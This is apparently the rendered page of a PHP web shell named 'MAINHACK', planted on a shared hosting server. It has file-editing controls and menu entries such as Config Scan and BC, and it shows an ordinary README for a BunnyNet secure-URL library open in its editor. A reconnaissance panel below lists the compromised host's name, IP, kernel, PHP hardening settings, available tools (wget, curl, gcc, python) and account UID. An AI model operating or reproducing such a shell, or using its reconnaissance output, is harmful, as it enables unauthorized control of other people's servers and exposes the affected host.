[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SecureUrlGenerator.md
# Secure Url Generator Generate a secure url using token authentication (with IP validation). ## Usage Provide the (custom) hostname (including scheme `http://` or `https://`) from the **General** section in **Pull Zones**, along with the **Url Token Authentication Key** found in the **Security** section of the same pull zone. ```php require 'vendor/autoload.php'; use ToshY\BunnyNet\SecureUrlGenerator; $bunnySecureUrl = new SecureUrlGenerator( 'https://custom-pullzone.b-cdn.net', '5509f27d-9103-4de6-8370-8bd68db859c9' ); ``` --- ## Options The secure url generator has the following methods available: * [Generate](#generate) --- ### Generate ```php // Root $bunnySecureUrl->generate( '/bunny.jpg', 3600, null, false, null, null, null, null, true ); // Directory $bunnySecureUrl->generate( '/css/custom.css', 3600, null, false, null, null, null, null, true ); // With IPv4 $bunnySecureUrl->generate( '/css/custom.css', 3600, '12.345.67.89', false, null, null, null, null, true ); // With directory token enabled and path specified for video streaming $bunnySecureUrl->generate( '/videos/awesome.m3u8', 3600, '12.345.67.89', true, '/videos', null, null, null, true ); // Allow or block certain countries, e.g. allow "US" and block "RU". $bunnySecureUrl->generate( '/videos/awesome.m3u8', 3600, '12.345.67.89', true, '/videos', 'US', 'RU', null, true ); // Allow certain referers, e.g. allow "example.com". $bunnySecureUrl->generate( '/videos/awesome.m3u8', 3600, '12.345.67.89', true, '/videos', null, null, 'example.com', true ); ``` *Note*: * Token IP validation only supports IPv4. * In order to reduce the false negatives (and increase privacy) for Token IP validation, the default is to allow the full /24 subnet. * Example: A token generated for an user with IPv4 `12.345.67.89` will allow the subnet `12.345.67.0`, to watch the content. * Both `countries` and `referers` accept comma separated input, meaning you could allow or block multiple countries like so: `US,DE,JP`. Same for referers: `example.com,example.org`. * An edge case occurs when you add a blocked country to the Traffic Manager, and allow that same country for token authentication. This will result in a standard "Unable to connect" page. According to support *"The reason for that would be is due to the fact that the Traffic manager doesn't resolve the DNS from that country and in turn, we start returning 127.0.0.1 queries towards the hostnames in use instead of the standard CDN routing. The traffic essentially doesn't even touch our servers in such a case."*
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285